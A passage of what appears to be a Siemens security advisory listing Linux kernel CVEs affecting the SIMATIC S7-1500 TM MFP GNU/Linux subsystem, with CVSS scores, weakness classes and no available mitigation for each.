Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26906

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26907

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26920

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26923

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26925

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26934

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26935

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26937

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-617 - Reachable Assertion

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26950

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26951

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26958

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26960

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26961

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26973

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-457 - Use of Uninitialized Variable

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26974

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26982

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26988

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26993

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27004

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27013

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27020

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27024

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27025

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27038

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27047

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27052

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27053

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27059

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-369 - Divide By Zero

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27065

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-1287 - Improper Validation of Specified Type of Input

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27072

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27076

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27077

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27078

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27395

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27396

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27397

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27419

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27431

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27436

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-27437

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-33621

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-1287 - Improper Validation of Specified Type of Input

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-33847

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-34027

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35789

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-400 - Uncontrolled Resource Consumption

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35805

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35807

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-400 - Uncontrolled Resource Consumption

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35811

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35813

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-129 - Improper Validation of Array Index

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35815

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-237 - Improper Handling of Structural Elements

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35823

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35828

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35845

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35849

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35877

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-237 - Improper Handling of Structural Elements

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35884

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-923 - Improper Restriction of Communication Channel to Intended Endpoints

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35886

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35888

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-457 - Use of Uninitialized Variable

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35893

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35895

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35896

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35897

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-1287 - Improper Validation of Specified Type of Input

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35898

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35899

6.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35900

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-1287 - Improper Validation of Specified Type of Input

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35902

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35905

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-129 - Improper Validation of Array Index

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35910

5.8 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

CWE-665 - Improper Initialization

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35915

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35922

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-369 - Divide By Zero

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35925

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-369 - Divide By Zero

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35930

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35933

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35934

2.5 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

CWE-400 - Uncontrolled Resource Consumption

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
